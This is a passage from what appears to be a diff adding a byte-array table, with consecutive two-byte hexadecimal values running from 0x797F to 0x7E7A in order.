0x79, 0x7F, + 0x79, 0x80, 0x79, 0x81, 0x79, 0x82, 0x79, 0x83, + 0x79, 0x84, 0x79, 0x85, 0x79, 0x86, 0x79, 0x87, + 0x79, 0x88, 0x79, 0x89, 0x79, 0x8A, 0x79, 0x8B, + 0x79, 0x8C, 0x79, 0x8D, 0x79, 0x8E, 0x79, 0x8F, + 0x79, 0x90, 0x79, 0x91, 0x79, 0x92, 0x79, 0x93, + 0x79, 0x94, 0x79, 0x95, 0x79, 0x96, 0x79, 0x97, + 0x79, 0x98, 0x79, 0x99, 0x79, 0x9A, 0x79, 0x9B, + 0x79, 0x9C, 0x79, 0x9D, 0x79, 0x9E, 0x79, 0x9F, + 0x79, 0xA0, 0x79, 0xA1, 0x79, 0xA2, 0x79, 0xA3, + 0x79, 0xA4, 0x79, 0xA5, 0x79, 0xA6, 0x79, 0xA7, + 0x79, 0xA8, 0x79, 0xA9, 0x79, 0xAA, 0x79, 0xAB, + 0x79, 0xAC, 0x79, 0xAD, 0x79, 0xAE, 0x79, 0xAF, + 0x79, 0xB0, 0x79, 0xB1, 0x79, 0xB2, 0x79, 0xB3, + 0x79, 0xB4, 0x79, 0xB5, 0x79, 0xB6, 0x79, 0xB7, + 0x79, 0xB8, 0x79, 0xB9, 0x79, 0xBA, 0x79, 0xBB, + 0x79, 0xBC, 0x79, 0xBD, 0x79, 0xBE, 0x79, 0xBF, + 0x79, 0xC0, 0x79, 0xC1, 0x79, 0xC2, 0x79, 0xC3, + 0x79, 0xC4, 0x79, 0xC5, 0x79, 0xC6, 0x79, 0xC7, + 0x79, 0xC8, 0x79, 0xC9, 0x79, 0xCA, 0x79, 0xCB, + 0x79, 0xCC, 0x79, 0xCD, 0x79, 0xCE, 0x79, 0xCF, + 0x79, 0xD0, 0x79, 0xD1, 0x79, 0xD2, 0x79, 0xD3, + 0x79, 0xD4, 0x79, 0xD5, 0x79, 0xD6, 0x79, 0xD7, + 0x79, 0xD8, 0x79, 0xD9, 0x79, 0xDA, 0x79, 0xDB, + 0x79, 0xDC, 0x79, 0xDD, 0x79, 0xDE, 0x79, 0xDF, + 0x79, 0xE0, 0x79, 0xE1, 0x79, 0xE2, 0x79, 0xE3, + 0x79, 0xE4, 0x79, 0xE5, 0x79, 0xE6, 0x79, 0xE7, + 0x79, 0xE8, 0x79, 0xE9, 0x79, 0xEA, 0x79, 0xEB, + 0x79, 0xEC, 0x79, 0xED, 0x79, 0xEE, 0x79, 0xEF, + 0x79, 0xF0, 0x79, 0xF1, 0x79, 0xF2, 0x79, 0xF3, + 0x79, 0xF4, 0x79, 0xF5, 0x79, 0xF6, 0x79, 0xF7, + 0x79, 0xF8, 0x79, 0xF9, 0x79, 0xFA, 0x79, 0xFB, + 0x79, 0xFC, 0x79, 0xFD, 0x79, 0xFE, 0x79, 0xFF, + 0x7A, 0x00, 0x7A, 0x01, 0x7A, 0x02, 0x7A, 0x03, + 0x7A, 0x04, 0x7A, 0x05, 0x7A, 0x06, 0x7A, 0x07, + 0x7A, 0x08, 0x7A, 0x09, 0x7A, 0x0A, 0x7A, 0x0B, + 0x7A, 0x0C, 0x7A, 0x0D, 0x7A, 0x0E, 0x7A, 0x0F, + 0x7A, 0x10, 0x7A, 0x11, 0x7A, 0x12, 0x7A, 0x13, + 0x7A, 0x14, 0x7A, 0x15, 0x7A, 0x16, 0x7A, 0x17, + 0x7A, 0x18, 0x7A, 0x19, 0x7A, 0x1A, 0x7A, 0x1B, + 0x7A, 0x1C, 0x7A, 0x1D, 0x7A, 0x1E, 0x7A, 0x1F, + 0x7A, 0x20, 0x7A, 0x21, 0x7A, 0x22, 0x7A, 0x23, + 0x7A, 0x24, 0x7A, 0x25, 0x7A, 0x26, 0x7A, 0x27, + 0x7A, 0x28, 0x7A, 0x29, 0x7A, 0x2A, 0x7A, 0x2B, + 0x7A, 0x2C, 0x7A, 0x2D, 0x7A, 0x2E, 0x7A, 0x2F, + 0x7A, 0x30, 0x7A, 0x31, 0x7A, 0x32, 0x7A, 0x33, + 0x7A, 0x34, 0x7A, 0x35, 0x7A, 0x36, 0x7A, 0x37, + 0x7A, 0x38, 0x7A, 0x39, 0x7A, 0x3A, 0x7A, 0x3B, + 0x7A, 0x3C, 0x7A, 0x3D, 0x7A, 0x3E, 0x7A, 0x3F, + 0x7A, 0x40, 0x7A, 0x41, 0x7A, 0x42, 0x7A, 0x43, + 0x7A, 0x44, 0x7A, 0x45, 0x7A, 0x46, 0x7A, 0x47, + 0x7A, 0x48, 0x7A, 0x49, 0x7A, 0x4A, 0x7A, 0x4B, + 0x7A, 0x4C, 0x7A, 0x4D, 0x7A, 0x4E, 0x7A, 0x4F, + 0x7A, 0x50, 0x7A, 0x51, 0x7A, 0x52, 0x7A, 0x53, + 0x7A, 0x54, 0x7A, 0x55, 0x7A, 0x56, 0x7A, 0x57, + 0x7A, 0x58, 0x7A, 0x59, 0x7A, 0x5A, 0x7A, 0x5B, + 0x7A, 0x5C, 0x7A, 0x5D, 0x7A, 0x5E, 0x7A, 0x5F, + 0x7A, 0x60, 0x7A, 0x61, 0x7A, 0x62, 0x7A, 0x63, + 0x7A, 0x64, 0x7A, 0x65, 0x7A, 0x66, 0x7A, 0x67, + 0x7A, 0x68, 0x7A, 0x69, 0x7A, 0x6A, 0x7A, 0x6B, + 0x7A, 0x6C, 0x7A, 0x6D, 0x7A, 0x6E, 0x7A, 0x6F, + 0x7A, 0x70, 0x7A, 0x71, 0x7A, 0x72, 0x7A, 0x73, + 0x7A, 0x74, 0x7A, 0x75, 0x7A, 0x76, 0x7A, 0x77, + 0x7A, 0x78, 0x7A, 0x79, 0x7A, 0x7A, 0x7A, 0x7B, + 0x7A, 0x7C, 0x7A, 0x7D, 0x7A, 0x7E, 0x7A, 0x7F, + 0x7A, 0x80, 0x7A, 0x81, 0x7A, 0x82, 0x7A, 0x83, + 0x7A, 0x84, 0x7A, 0x85, 0x7A, 0x86, 0x7A, 0x87, + 0x7A, 0x88, 0x7A, 0x89, 0x7A, 0x8A, 0x7A, 0x8B, + 0x7A, 0x8C, 0x7A, 0x8D, 0x7A, 0x8E, 0x7A, 0x8F, + 0x7A, 0x90, 0x7A, 0x91, 0x7A, 0x92, 0x7A, 0x93, + 0x7A, 0x94, 0x7A, 0x95, 0x7A, 0x96, 0x7A, 0x97, + 0x7A, 0x98, 0x7A, 0x99, 0x7A, 0x9A, 0x7A, 0x9B, + 0x7A, 0x9C, 0x7A, 0x9D, 0x7A, 0x9E, 0x7A, 0x9F, + 0x7A, 0xA0, 0x7A, 0xA1, 0x7A, 0xA2, 0x7A, 0xA3, + 0x7A, 0xA4, 0x7A, 0xA5, 0x7A, 0xA6, 0x7A, 0xA7, + 0x7A, 0xA8, 0x7A, 0xA9, 0x7A, 0xAA, 0x7A, 0xAB, + 0x7A, 0xAC, 0x7A, 0xAD, 0x7A, 0xAE, 0x7A, 0xAF, + 0x7A, 0xB0, 0x7A, 0xB1, 0x7A, 0xB2, 0x7A, 0xB3, + 0x7A, 0xB4, 0x7A, 0xB5, 0x7A, 0xB6, 0x7A, 0xB7, + 0x7A, 0xB8, 0x7A, 0xB9, 0x7A, 0xBA, 0x7A, 0xBB, + 0x7A, 0xBC, 0x7A, 0xBD, 0x7A, 0xBE, 0x7A, 0xBF, + 0x7A, 0xC0, 0x7A, 0xC1, 0x7A, 0xC2, 0x7A, 0xC3, + 0x7A, 0xC4, 0x7A, 0xC5, 0x7A, 0xC6, 0x7A, 0xC7, + 0x7A, 0xC8, 0x7A, 0xC9, 0x7A, 0xCA, 0x7A, 0xCB, + 0x7A, 0xCC, 0x7A, 0xCD, 0x7A, 0xCE, 0x7A, 0xCF, + 0x7A, 0xD0, 0x7A, 0xD1, 0x7A, 0xD2, 0x7A, 0xD3, + 0x7A, 0xD4, 0x7A, 0xD5, 0x7A, 0xD6, 0x7A, 0xD7, + 0x7A, 0xD8, 0x7A, 0xD9, 0x7A, 0xDA, 0x7A, 0xDB, + 0x7A, 0xDC, 0x7A, 0xDD, 0x7A, 0xDE, 0x7A, 0xDF, + 0x7A, 0xE0, 0x7A, 0xE1, 0x7A, 0xE2, 0x7A, 0xE3, + 0x7A, 0xE4, 0x7A, 0xE5, 0x7A, 0xE6, 0x7A, 0xE7, + 0x7A, 0xE8, 0x7A, 0xE9, 0x7A, 0xEA, 0x7A, 0xEB, + 0x7A, 0xEC, 0x7A, 0xED, 0x7A, 0xEE, 0x7A, 0xEF, + 0x7A, 0xF0, 0x7A, 0xF1, 0x7A, 0xF2, 0x7A, 0xF3, + 0x7A, 0xF4, 0x7A, 0xF5, 0x7A, 0xF6, 0x7A, 0xF7, + 0x7A, 0xF8, 0x7A, 0xF9, 0x7A, 0xFA, 0x7A, 0xFB, + 0x7A, 0xFC, 0x7A, 0xFD, 0x7A, 0xFE, 0x7A, 0xFF, + 0x7B, 0x00, 0x7B, 0x01, 0x7B, 0x02, 0x7B, 0x03, + 0x7B, 0x04, 0x7B, 0x05, 0x7B, 0x06, 0x7B, 0x07, + 0x7B, 0x08, 0x7B, 0x09, 0x7B, 0x0A, 0x7B, 0x0B, + 0x7B, 0x0C, 0x7B, 0x0D, 0x7B, 0x0E, 0x7B, 0x0F, + 0x7B, 0x10, 0x7B, 0x11, 0x7B, 0x12, 0x7B, 0x13, + 0x7B, 0x14, 0x7B, 0x15, 0x7B, 0x16, 0x7B, 0x17, + 0x7B, 0x18, 0x7B, 0x19, 0x7B, 0x1A, 0x7B, 0x1B, + 0x7B, 0x1C, 0x7B, 0x1D, 0x7B, 0x1E, 0x7B, 0x1F, + 0x7B, 0x20, 0x7B, 0x21, 0x7B, 0x22, 0x7B, 0x23, + 0x7B, 0x24, 0x7B, 0x25, 0x7B, 0x26, 0x7B, 0x27, + 0x7B, 0x28, 0x7B, 0x29, 0x7B, 0x2A, 0x7B, 0x2B, + 0x7B, 0x2C, 0x7B, 0x2D, 0x7B, 0x2E, 0x7B, 0x2F, + 0x7B, 0x30, 0x7B, 0x31, 0x7B, 0x32, 0x7B, 0x33, + 0x7B, 0x34, 0x7B, 0x35, 0x7B, 0x36, 0x7B, 0x37, + 0x7B, 0x38, 0x7B, 0x39, 0x7B, 0x3A, 0x7B, 0x3B, + 0x7B, 0x3C, 0x7B, 0x3D, 0x7B, 0x3E, 0x7B, 0x3F, + 0x7B, 0x40, 0x7B, 0x41, 0x7B, 0x42, 0x7B, 0x43, + 0x7B, 0x44, 0x7B, 0x45, 0x7B, 0x46, 0x7B, 0x47, + 0x7B, 0x48, 0x7B, 0x49, 0x7B, 0x4A, 0x7B, 0x4B, + 0x7B, 0x4C, 0x7B, 0x4D, 0x7B, 0x4E, 0x7B, 0x4F, + 0x7B, 0x50, 0x7B, 0x51, 0x7B, 0x52, 0x7B, 0x53, + 0x7B, 0x54, 0x7B, 0x55, 0x7B, 0x56, 0x7B, 0x57, + 0x7B, 0x58, 0x7B, 0x59, 0x7B, 0x5A, 0x7B, 0x5B, + 0x7B, 0x5C, 0x7B, 0x5D, 0x7B, 0x5E, 0x7B, 0x5F, + 0x7B, 0x60, 0x7B, 0x61, 0x7B, 0x62, 0x7B, 0x63, + 0x7B, 0x64, 0x7B, 0x65, 0x7B, 0x66, 0x7B, 0x67, + 0x7B, 0x68, 0x7B, 0x69, 0x7B, 0x6A, 0x7B, 0x6B, + 0x7B, 0x6C, 0x7B, 0x6D, 0x7B, 0x6E, 0x7B, 0x6F, + 0x7B, 0x70, 0x7B, 0x71, 0x7B, 0x72, 0x7B, 0x73, + 0x7B, 0x74, 0x7B, 0x75, 0x7B, 0x76, 0x7B, 0x77, + 0x7B, 0x78, 0x7B, 0x79, 0x7B, 0x7A, 0x7B, 0x7B, + 0x7B, 0x7C, 0x7B, 0x7D, 0x7B, 0x7E, 0x7B, 0x7F, + 0x7B, 0x80, 0x7B, 0x81, 0x7B, 0x82, 0x7B, 0x83, + 0x7B, 0x84, 0x7B, 0x85, 0x7B, 0x86, 0x7B, 0x87, + 0x7B, 0x88, 0x7B, 0x89, 0x7B, 0x8A, 0x7B, 0x8B, + 0x7B, 0x8C, 0x7B, 0x8D, 0x7B, 0x8E, 0x7B, 0x8F, + 0x7B, 0x90, 0x7B, 0x91, 0x7B, 0x92, 0x7B, 0x93, + 0x7B, 0x94, 0x7B, 0x95, 0x7B, 0x96, 0x7B, 0x97, + 0x7B, 0x98, 0x7B, 0x99, 0x7B, 0x9A, 0x7B, 0x9B, + 0x7B, 0x9C, 0x7B, 0x9D, 0x7B, 0x9E, 0x7B, 0x9F, + 0x7B, 0xA0, 0x7B, 0xA1, 0x7B, 0xA2, 0x7B, 0xA3, + 0x7B, 0xA4, 0x7B, 0xA5, 0x7B, 0xA6, 0x7B, 0xA7, + 0x7B, 0xA8, 0x7B, 0xA9, 0x7B, 0xAA, 0x7B, 0xAB, + 0x7B, 0xAC, 0x7B, 0xAD, 0x7B, 0xAE, 0x7B, 0xAF, + 0x7B, 0xB0, 0x7B, 0xB1, 0x7B, 0xB2, 0x7B, 0xB3, + 0x7B, 0xB4, 0x7B, 0xB5, 0x7B, 0xB6, 0x7B, 0xB7, + 0x7B, 0xB8, 0x7B, 0xB9, 0x7B, 0xBA, 0x7B, 0xBB, + 0x7B, 0xBC, 0x7B, 0xBD, 0x7B, 0xBE, 0x7B, 0xBF, + 0x7B, 0xC0, 0x7B, 0xC1, 0x7B, 0xC2, 0x7B, 0xC3, + 0x7B, 0xC4, 0x7B, 0xC5, 0x7B, 0xC6, 0x7B, 0xC7, + 0x7B, 0xC8, 0x7B, 0xC9, 0x7B, 0xCA, 0x7B, 0xCB, + 0x7B, 0xCC, 0x7B, 0xCD, 0x7B, 0xCE, 0x7B, 0xCF, + 0x7B, 0xD0, 0x7B, 0xD1, 0x7B, 0xD2, 0x7B, 0xD3, + 0x7B, 0xD4, 0x7B, 0xD5, 0x7B, 0xD6, 0x7B, 0xD7, + 0x7B, 0xD8, 0x7B, 0xD9, 0x7B, 0xDA, 0x7B, 0xDB, + 0x7B, 0xDC, 0x7B, 0xDD, 0x7B, 0xDE, 0x7B, 0xDF, + 0x7B, 0xE0, 0x7B, 0xE1, 0x7B, 0xE2, 0x7B, 0xE3, + 0x7B, 0xE4, 0x7B, 0xE5, 0x7B, 0xE6, 0x7B, 0xE7, + 0x7B, 0xE8, 0x7B, 0xE9, 0x7B, 0xEA, 0x7B, 0xEB, + 0x7B, 0xEC, 0x7B, 0xED, 0x7B, 0xEE, 0x7B, 0xEF, + 0x7B, 0xF0, 0x7B, 0xF1, 0x7B, 0xF2, 0x7B, 0xF3, + 0x7B, 0xF4, 0x7B, 0xF5, 0x7B, 0xF6, 0x7B, 0xF7, + 0x7B, 0xF8, 0x7B, 0xF9, 0x7B, 0xFA, 0x7B, 0xFB, + 0x7B, 0xFC, 0x7B, 0xFD, 0x7B, 0xFE, 0x7B, 0xFF, + 0x7C, 0x00, 0x7C, 0x01, 0x7C, 0x02, 0x7C, 0x03, + 0x7C, 0x04, 0x7C, 0x05, 0x7C, 0x06, 0x7C, 0x07, + 0x7C, 0x08, 0x7C, 0x09, 0x7C, 0x0A, 0x7C, 0x0B, + 0x7C, 0x0C, 0x7C, 0x0D, 0x7C, 0x0E, 0x7C, 0x0F, + 0x7C, 0x10, 0x7C, 0x11, 0x7C, 0x12, 0x7C, 0x13, + 0x7C, 0x14, 0x7C, 0x15, 0x7C, 0x16, 0x7C, 0x17, + 0x7C, 0x18, 0x7C, 0x19, 0x7C, 0x1A, 0x7C, 0x1B, + 0x7C, 0x1C, 0x7C, 0x1D, 0x7C, 0x1E, 0x7C, 0x1F, + 0x7C, 0x20, 0x7C, 0x21, 0x7C, 0x22, 0x7C, 0x23, + 0x7C, 0x24, 0x7C, 0x25, 0x7C, 0x26, 0x7C, 0x27, + 0x7C, 0x28, 0x7C, 0x29, 0x7C, 0x2A, 0x7C, 0x2B, + 0x7C, 0x2C, 0x7C, 0x2D, 0x7C, 0x2E, 0x7C, 0x2F, + 0x7C, 0x30, 0x7C, 0x31, 0x7C, 0x32, 0x7C, 0x33, + 0x7C, 0x34, 0x7C, 0x35, 0x7C, 0x36, 0x7C, 0x37, + 0x7C, 0x38, 0x7C, 0x39, 0x7C, 0x3A, 0x7C, 0x3B, + 0x7C, 0x3C, 0x7C, 0x3D, 0x7C, 0x3E, 0x7C, 0x3F, + 0x7C, 0x40, 0x7C, 0x41, 0x7C, 0x42, 0x7C, 0x43, + 0x7C, 0x44, 0x7C, 0x45, 0x7C, 0x46, 0x7C, 0x47, + 0x7C, 0x48, 0x7C, 0x49, 0x7C, 0x4A, 0x7C, 0x4B, + 0x7C, 0x4C, 0x7C, 0x4D, 0x7C, 0x4E, 0x7C, 0x4F, + 0x7C, 0x50, 0x7C, 0x51, 0x7C, 0x52, 0x7C, 0x53, + 0x7C, 0x54, 0x7C, 0x55, 0x7C, 0x56, 0x7C, 0x57, + 0x7C, 0x58, 0x7C, 0x59, 0x7C, 0x5A, 0x7C, 0x5B, + 0x7C, 0x5C, 0x7C, 0x5D, 0x7C, 0x5E, 0x7C, 0x5F, + 0x7C, 0x60, 0x7C, 0x61, 0x7C, 0x62, 0x7C, 0x63, + 0x7C, 0x64, 0x7C, 0x65, 0x7C, 0x66, 0x7C, 0x67, + 0x7C, 0x68, 0x7C, 0x69, 0x7C, 0x6A, 0x7C, 0x6B, + 0x7C, 0x6C, 0x7C, 0x6D, 0x7C, 0x6E, 0x7C, 0x6F, + 0x7C, 0x70, 0x7C, 0x71, 0x7C, 0x72, 0x7C, 0x73, + 0x7C, 0x74, 0x7C, 0x75, 0x7C, 0x76, 0x7C, 0x77, + 0x7C, 0x78, 0x7C, 0x79, 0x7C, 0x7A, 0x7C, 0x7B, + 0x7C, 0x7C, 0x7C, 0x7D, 0x7C, 0x7E, 0x7C, 0x7F, + 0x7C, 0x80, 0x7C, 0x81, 0x7C, 0x82, 0x7C, 0x83, + 0x7C, 0x84, 0x7C, 0x85, 0x7C, 0x86, 0x7C, 0x87, + 0x7C, 0x88, 0x7C, 0x89, 0x7C, 0x8A, 0x7C, 0x8B, + 0x7C, 0x8C, 0x7C, 0x8D, 0x7C, 0x8E, 0x7C, 0x8F, + 0x7C, 0x90, 0x7C, 0x91, 0x7C, 0x92, 0x7C, 0x93, + 0x7C, 0x94, 0x7C, 0x95, 0x7C, 0x96, 0x7C, 0x97, + 0x7C, 0x98, 0x7C, 0x99, 0x7C, 0x9A, 0x7C, 0x9B, + 0x7C, 0x9C, 0x7C, 0x9D, 0x7C, 0x9E, 0x7C, 0x9F, + 0x7C, 0xA0, 0x7C, 0xA1, 0x7C, 0xA2, 0x7C, 0xA3, + 0x7C, 0xA4, 0x7C, 0xA5, 0x7C, 0xA6, 0x7C, 0xA7, + 0x7C, 0xA8, 0x7C, 0xA9, 0x7C, 0xAA, 0x7C, 0xAB, + 0x7C, 0xAC, 0x7C, 0xAD, 0x7C, 0xAE, 0x7C, 0xAF, + 0x7C, 0xB0, 0x7C, 0xB1, 0x7C, 0xB2, 0x7C, 0xB3, + 0x7C, 0xB4, 0x7C, 0xB5, 0x7C, 0xB6, 0x7C, 0xB7, + 0x7C, 0xB8, 0x7C, 0xB9, 0x7C, 0xBA, 0x7C, 0xBB, + 0x7C, 0xBC, 0x7C, 0xBD, 0x7C, 0xBE, 0x7C, 0xBF, + 0x7C, 0xC0, 0x7C, 0xC1, 0x7C, 0xC2, 0x7C, 0xC3, + 0x7C, 0xC4, 0x7C, 0xC5, 0x7C, 0xC6, 0x7C, 0xC7, + 0x7C, 0xC8, 0x7C, 0xC9, 0x7C, 0xCA, 0x7C, 0xCB, + 0x7C, 0xCC, 0x7C, 0xCD, 0x7C, 0xCE, 0x7C, 0xCF, + 0x7C, 0xD0, 0x7C, 0xD1, 0x7C, 0xD2, 0x7C, 0xD3, + 0x7C, 0xD4, 0x7C, 0xD5, 0x7C, 0xD6, 0x7C, 0xD7, + 0x7C, 0xD8, 0x7C, 0xD9, 0x7C, 0xDA, 0x7C, 0xDB, + 0x7C, 0xDC, 0x7C, 0xDD, 0x7C, 0xDE, 0x7C, 0xDF, + 0x7C, 0xE0, 0x7C, 0xE1, 0x7C, 0xE2, 0x7C, 0xE3, + 0x7C, 0xE4, 0x7C, 0xE5, 0x7C, 0xE6, 0x7C, 0xE7, + 0x7C, 0xE8, 0x7C, 0xE9, 0x7C, 0xEA, 0x7C, 0xEB, + 0x7C, 0xEC, 0x7C, 0xED, 0x7C, 0xEE, 0x7C, 0xEF, + 0x7C, 0xF0, 0x7C, 0xF1, 0x7C, 0xF2, 0x7C, 0xF3, + 0x7C, 0xF4, 0x7C, 0xF5, 0x7C, 0xF6, 0x7C, 0xF7, + 0x7C, 0xF8, 0x7C, 0xF9, 0x7C, 0xFA, 0x7C, 0xFB, + 0x7C, 0xFC, 0x7C, 0xFD, 0x7C, 0xFE, 0x7C, 0xFF, + 0x7D, 0x00, 0x7D, 0x01, 0x7D, 0x02, 0x7D, 0x03, + 0x7D, 0x04, 0x7D, 0x05, 0x7D, 0x06, 0x7D, 0x07, + 0x7D, 0x08, 0x7D, 0x09, 0x7D, 0x0A, 0x7D, 0x0B, + 0x7D, 0x0C, 0x7D, 0x0D, 0x7D, 0x0E, 0x7D, 0x0F, + 0x7D, 0x10, 0x7D, 0x11, 0x7D, 0x12, 0x7D, 0x13, + 0x7D, 0x14, 0x7D, 0x15, 0x7D, 0x16, 0x7D, 0x17, + 0x7D, 0x18, 0x7D, 0x19, 0x7D, 0x1A, 0x7D, 0x1B, + 0x7D, 0x1C, 0x7D, 0x1D, 0x7D, 0x1E, 0x7D, 0x1F, + 0x7D, 0x20, 0x7D, 0x21, 0x7D, 0x22, 0x7D, 0x23, + 0x7D, 0x24, 0x7D, 0x25, 0x7D, 0x26, 0x7D, 0x27, + 0x7D, 0x28, 0x7D, 0x29, 0x7D, 0x2A, 0x7D, 0x2B, + 0x7D, 0x2C, 0x7D, 0x2D, 0x7D, 0x2E, 0x7D, 0x2F, + 0x7D, 0x30, 0x7D, 0x31, 0x7D, 0x32, 0x7D, 0x33, + 0x7D, 0x34, 0x7D, 0x35, 0x7D, 0x36, 0x7D, 0x37, + 0x7D, 0x38, 0x7D, 0x39, 0x7D, 0x3A, 0x7D, 0x3B, + 0x7D, 0x3C, 0x7D, 0x3D, 0x7D, 0x3E, 0x7D, 0x3F, + 0x7D, 0x40, 0x7D, 0x41, 0x7D, 0x42, 0x7D, 0x43, + 0x7D, 0x44, 0x7D, 0x45, 0x7D, 0x46, 0x7D, 0x47, + 0x7D, 0x48, 0x7D, 0x49, 0x7D, 0x4A, 0x7D, 0x4B, + 0x7D, 0x4C, 0x7D, 0x4D, 0x7D, 0x4E, 0x7D, 0x4F, + 0x7D, 0x50, 0x7D, 0x51, 0x7D, 0x52, 0x7D, 0x53, + 0x7D, 0x54, 0x7D, 0x55, 0x7D, 0x56, 0x7D, 0x57, + 0x7D, 0x58, 0x7D, 0x59, 0x7D, 0x5A, 0x7D, 0x5B, + 0x7D, 0x5C, 0x7D, 0x5D, 0x7D, 0x5E, 0x7D, 0x5F, + 0x7D, 0x60, 0x7D, 0x61, 0x7D, 0x62, 0x7D, 0x63, + 0x7D, 0x64, 0x7D, 0x65, 0x7D, 0x66, 0x7D, 0x67, + 0x7D, 0x68, 0x7D, 0x69, 0x7D, 0x6A, 0x7D, 0x6B, + 0x7D, 0x6C, 0x7D, 0x6D, 0x7D, 0x6E, 0x7D, 0x6F, + 0x7D, 0x70, 0x7D, 0x71, 0x7D, 0x72, 0x7D, 0x73, + 0x7D, 0x74, 0x7D, 0x75, 0x7D, 0x76, 0x7D, 0x77, + 0x7D, 0x78, 0x7D, 0x79, 0x7D, 0x7A, 0x7D, 0x7B, + 0x7D, 0x7C, 0x7D, 0x7D, 0x7D, 0x7E, 0x7D, 0x7F, + 0x7D, 0x80, 0x7D, 0x81, 0x7D, 0x82, 0x7D, 0x83, + 0x7D, 0x84, 0x7D, 0x85, 0x7D, 0x86, 0x7D, 0x87, + 0x7D, 0x88, 0x7D, 0x89, 0x7D, 0x8A, 0x7D, 0x8B, + 0x7D, 0x8C, 0x7D, 0x8D, 0x7D, 0x8E, 0x7D, 0x8F, + 0x7D, 0x90, 0x7D, 0x91, 0x7D, 0x92, 0x7D, 0x93, + 0x7D, 0x94, 0x7D, 0x95, 0x7D, 0x96, 0x7D, 0x97, + 0x7D, 0x98, 0x7D, 0x99, 0x7D, 0x9A, 0x7D, 0x9B, + 0x7D, 0x9C, 0x7D, 0x9D, 0x7D, 0x9E, 0x7D, 0x9F, + 0x7D, 0xA0, 0x7D, 0xA1, 0x7D, 0xA2, 0x7D, 0xA3, + 0x7D, 0xA4, 0x7D, 0xA5, 0x7D, 0xA6, 0x7D, 0xA7, + 0x7D, 0xA8, 0x7D, 0xA9, 0x7D, 0xAA, 0x7D, 0xAB, + 0x7D, 0xAC, 0x7D, 0xAD, 0x7D, 0xAE, 0x7D, 0xAF, + 0x7D, 0xB0, 0x7D, 0xB1, 0x7D, 0xB2, 0x7D, 0xB3, + 0x7D, 0xB4, 0x7D, 0xB5, 0x7D, 0xB6, 0x7D, 0xB7, + 0x7D, 0xB8, 0x7D, 0xB9, 0x7D, 0xBA, 0x7D, 0xBB, + 0x7D, 0xBC, 0x7D, 0xBD, 0x7D, 0xBE, 0x7D, 0xBF, + 0x7D, 0xC0, 0x7D, 0xC1, 0x7D, 0xC2, 0x7D, 0xC3, + 0x7D, 0xC4, 0x7D, 0xC5, 0x7D, 0xC6, 0x7D, 0xC7, + 0x7D, 0xC8, 0x7D, 0xC9, 0x7D, 0xCA, 0x7D, 0xCB, + 0x7D, 0xCC, 0x7D, 0xCD, 0x7D, 0xCE, 0x7D, 0xCF, + 0x7D, 0xD0, 0x7D, 0xD1, 0x7D, 0xD2, 0x7D, 0xD3, + 0x7D, 0xD4, 0x7D, 0xD5, 0x7D, 0xD6, 0x7D, 0xD7, + 0x7D, 0xD8, 0x7D, 0xD9, 0x7D, 0xDA, 0x7D, 0xDB, + 0x7D, 0xDC, 0x7D, 0xDD, 0x7D, 0xDE, 0x7D, 0xDF, + 0x7D, 0xE0, 0x7D, 0xE1, 0x7D, 0xE2, 0x7D, 0xE3, + 0x7D, 0xE4, 0x7D, 0xE5, 0x7D, 0xE6, 0x7D, 0xE7, + 0x7D, 0xE8, 0x7D, 0xE9, 0x7D, 0xEA, 0x7D, 0xEB, + 0x7D, 0xEC, 0x7D, 0xED, 0x7D, 0xEE, 0x7D, 0xEF, + 0x7D, 0xF0, 0x7D, 0xF1, 0x7D, 0xF2, 0x7D, 0xF3, + 0x7D, 0xF4, 0x7D, 0xF5, 0x7D, 0xF6, 0x7D, 0xF7, + 0x7D, 0xF8, 0x7D, 0xF9, 0x7D, 0xFA, 0x7D, 0xFB, + 0x7D, 0xFC, 0x7D, 0xFD, 0x7D, 0xFE, 0x7D, 0xFF, + 0x7E, 0x00, 0x7E, 0x01, 0x7E, 0x02, 0x7E, 0x03, + 0x7E, 0x04, 0x7E, 0x05, 0x7E, 0x06, 0x7E, 0x07, + 0x7E, 0x08, 0x7E, 0x09, 0x7E, 0x0A, 0x7E, 0x0B, + 0x7E, 0x0C, 0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0F, + 0x7E, 0x10, 0x7E, 0x11, 0x7E, 0x12, 0x7E, 0x13, + 0x7E, 0x14, 0x7E, 0x15, 0x7E, 0x16, 0x7E, 0x17, + 0x7E, 0x18, 0x7E, 0x19, 0x7E, 0x1A, 0x7E, 0x1B, + 0x7E, 0x1C, 0x7E, 0x1D, 0x7E, 0x1E, 0x7E, 0x1F, + 0x7E, 0x20, 0x7E, 0x21, 0x7E, 0x22, 0x7E, 0x23, + 0x7E, 0x24, 0x7E, 0x25, 0x7E, 0x26, 0x7E, 0x27, + 0x7E, 0x28, 0x7E, 0x29, 0x7E, 0x2A, 0x7E, 0x2B, + 0x7E, 0x2C, 0x7E, 0x2D, 0x7E, 0x2E, 0x7E, 0x2F, + 0x7E, 0x30, 0x7E, 0x31, 0x7E, 0x32, 0x7E, 0x33, + 0x7E, 0x34, 0x7E, 0x35, 0x7E, 0x36, 0x7E, 0x37, + 0x7E, 0x38, 0x7E, 0x39, 0x7E, 0x3A, 0x7E, 0x3B, + 0x7E, 0x3C, 0x7E, 0x3D, 0x7E, 0x3E, 0x7E, 0x3F, + 0x7E, 0x40, 0x7E, 0x41, 0x7E, 0x42, 0x7E, 0x43, + 0x7E, 0x44, 0x7E, 0x45, 0x7E, 0x46, 0x7E, 0x47, + 0x7E, 0x48, 0x7E, 0x49, 0x7E, 0x4A, 0x7E, 0x4B, + 0x7E, 0x4C, 0x7E, 0x4D, 0x7E, 0x4E, 0x7E, 0x4F, + 0x7E, 0x50, 0x7E, 0x51, 0x7E, 0x52, 0x7E, 0x53, + 0x7E, 0x54, 0x7E, 0x55, 0x7E, 0x56, 0x7E, 0x57, + 0x7E, 0x58, 0x7E, 0x59, 0x7E, 0x5A, 0x7E, 0x5B, + 0x7E, 0x5C, 0x7E, 0x5D, 0x7E, 0x5E, 0x7E, 0x5F, + 0x7E, 0x60, 0x7E, 0x61, 0x7E, 0x62, 0x7E, 0x63, + 0x7E, 0x64, 0x7E, 0x65, 0x7E, 0x66, 0x7E, 0x67, + 0x7E, 0x68, 0x7E, 0x69, 0x7E, 0x6A, 0x7E, 0x6B, + 0x7E, 0x6C, 0x7E, 0x6D, 0x7E, 0x6E, 0x7E, 0x6F, + 0x7E, 0x70, 0x7E, 0x71, 0x7E, 0x72, 0x7E, 0x73, + 0x7E, 0x74, 0x7E, 0x75, 0x7E, 0x76, 0x7E, 0x77, + 0x7E, 0x78, 0x7E, 0x79, 0x7E, 0x7A, 